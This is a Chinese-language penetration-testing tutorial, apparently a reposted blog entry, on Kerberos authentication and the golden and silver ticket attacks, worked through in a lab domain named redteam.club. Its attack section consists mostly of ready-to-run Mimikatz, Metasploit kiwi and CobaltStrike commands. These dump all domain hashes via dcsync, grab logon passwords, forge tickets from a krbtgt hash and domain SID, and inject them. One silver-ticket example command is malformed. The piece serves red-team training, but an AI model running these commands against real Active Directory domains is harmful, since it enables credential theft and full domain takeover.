内网渗透|Kerberos认证和黄金票据

VSole2022-12-06 09:26:49

Kerberos认证

介绍

Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。

这个词又指麻省理工学院为这个协议开发的一套计算机软件。

认证流程

提示:

AS(Authentication Server) 认证服务器

KDC(Key Distribution Center) 密钥分发中心

TGT(Ticket Granting Ticket) 票据授权票据(票据的票据)

TGS(Ticket Granting Server) 票据授权服务器

ACL(Access Control Lists) 访问控制列表

DC(Domain Controller) 域控制器

AD(Active Directory) 活动目录

Client 客户端

Server 服务端

详细流程图

黄金票据

原理

在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个 Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。

票据条件:

  • 域名称
  • 域的 SID 值
  • 域的 KRBTGT 账号的 HASH
  • 伪造D的任意用户名

实验环境

机器:

12server4

AD01

域名:

redteam.club

Mimikatz

12server4上操作

信息收集

前提域管权限


#导出hashprivilege::debuglsadump::dcsync /domain:redteam.club /all /csv(lsadump::lsa /inject)##一条命令mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:redteam.club /all /csv" "exit">hash.txt

制作

#制作黄金票据mimikatz.exe "kerberos::golden /admin:system /domain:redteam.club /sid:S-1-5-21-2536581826-3274276096-3456299113 /krbtgt:689fe33346a9e9fe229395fb36178ecb /ticket:ticket.kirbi" exit

导入

#清除票据kerberos::purge#导入票据kerberos::ptt C:\Users\ticket.kirbi

Metasploit

12server4上操作

system权限信息收集

#信息收集load kiwi   #导入kiwi模块
##提示:以下需要system权限creds_all    #列举所有凭据creds_kerberos  #列举所有kerberos凭据kiwi_cmd sekurlsa::logonpasswords  #抓密码和hash

域管权限信息收集

#信息收集(需要域管权限)kiwi_cmd "lsadump::dcsync /domain:redteam.club /user:krbtgt"  #krbtgt账户的密码hash值kerberos_ticket_list  #列举kerberos票据 kerberos_ticket_purge  #清除kerberos票据

制作及导入

#制作金票golden_ticket_create -d redteam.club -k 689fe33346a9e9fe229395fb36178ecb -u administrator -s S-1-5-21-2536581826-3274276096-3456299113 -t /home/kali/administrator.ticket#导入金票kerberos_ticket_use /home/kali/administrator.ticket

CobaltStrike

AD01上操作

注意

在使用CobaltStrike4.7时,只有在AD上才能抓取到krbtgt的hash,二前两个有域管权限就可以

希望可以得到师傅们的指点

12server4:12server4\administratorredteam\administrator均不成功

AD01:redteam\administrator成功抓取

流程

1.抓取hash

2.shell whoami /all

3.制作金票

白银票据

原理

白银票据就是伪造的ST。在Kerberos认证的第三部,Client带着ST和Authenticator3向Server上的某个服务进行请求,Server接收到Client的请求之后,通过自己的Master Key 解密ST,从而获得 Session Key。通过 Session Key 解密 Authenticator3,进而验证对方的身份,验证成功就让 Client 访问server上的指定服务了。所以我们只需要知道Server用户的Hash就可以伪造出一个ST,且不会经过KDC,但是伪造的门票只对部分服务起作用。

票据条件:

  • 域名
  • 域 SID(就是域成员SID值去掉最后的)
  • 目标服务器的 FQDN
  • 可利用的服务
  • 服务账号的 NTLM Hash
  • 需要伪造的用户名

这里就制作一个

mimikatz

12server4上操作

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"> password.txt

cifs

#命令格式kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4: /user:<伪造的用户名> /ptt#示例kerberos::golden /domain/target:OWA2010CN-God.god.org /rc4:689fe33346a9e9fe229395fb36178ecb  /service:cifs /user:admin /ptt

kerberoshash
本作品采用《CC 协议》,转载必须注明作者和本文链接
Kerberos认证介绍Kerberos是一种计算机网络授权协议,用来在非安全网络中,对个人通信以安全的手段进行身份认证。这个词又指麻省理工学院为这个协议开发的一套计算机软件。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
如今,许多企业依赖这种道德黑客工具更有力地保护数据免受各种攻击。可以在短短24小时内扫描1000多个Web应用程序。自动检测URL重写规则和自定义404错误页面。可以检查服务器并检测过时版本或特定版本存在的问题。根据上下文确定处理结果的优先级。能够执行字典攻击。可以用于在网络内执行横向移动,以访问受限制的数据。
内网渗透TIPS总结
2023-01-28 11:00:41
内网基础知识1、工作组:工作组是 局域网 中的一个概念,他是长久的资源管理模式。默认情况下使用工作组方式进行资源管理,将不同的 computer 按照不同的要求分类到不同的组。而实际上,因为域名的计算机是使用DNS 来定位域控制器、服务器及其他计算机、网络服务的,所以域的名字就是DNS 域的名字。在内网渗透测试中,大都是通过寻找 DNS 服务器来确定域控制器的位置的。
但由于Msg B是使用 TGS密钥 加密的,Client无法对其解密。AS响应的消息中有一条是属于Client的,但另外一条却属于TGS。
kerberos协议从0到1
2021-10-12 14:26:38
krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机
kerberos委派详解
2021-10-08 14:49:15
委派域委派是指,将域内用户的权限委派给服务账号,使得服务账号能以用户权限开展域内活动。服务账号,域内用户的一种类型,服务器运行服务时所用的账号,将服务运行起来并加入域。例如MSSQL Server在安装时,会在域内自动注册服务账号'SqlServiceAccount',这类账号不能用于交互式登录。
客户端收到该信息,使用自己的密码进行解密之后,得到TGT票据。客户端将服务请求与该ticket一并发送给相应的服务端即可。0x02 Kerberos协议具体流程 用户登陆 用户使用客户端上的程序进行登陆。客户端认证 客户端从认证服务器获取票据授权票据Ticket Granting Ticket简称TGT。服务器Server向客户端Client提供相应的服务。0x03 白银票据Silver Ticket伪造 白银票据伪造的是TGS的票据,是一个点对点的有效凭证。
本文是很久之前做的笔记,今天有空又梳理了一下,分享出来。如果有错误或疏漏,欢迎留言指出。 Kerberos是一种基于票据的、集中式的网络认证协议,适用于C/S模型,由MIT开发和实现(http://web.mit.edu/kerberos/dist/)。 这里所谓的认证,就是保证使用票据(Ticket)的用户必须是票据中指定的用户。 简单回忆一下,密码学涉及机密性、完整性、认证性(实体认证+
本文主要讨论学习mimikatz中与Kerberos协议相关的代码
VSole
网络安全专家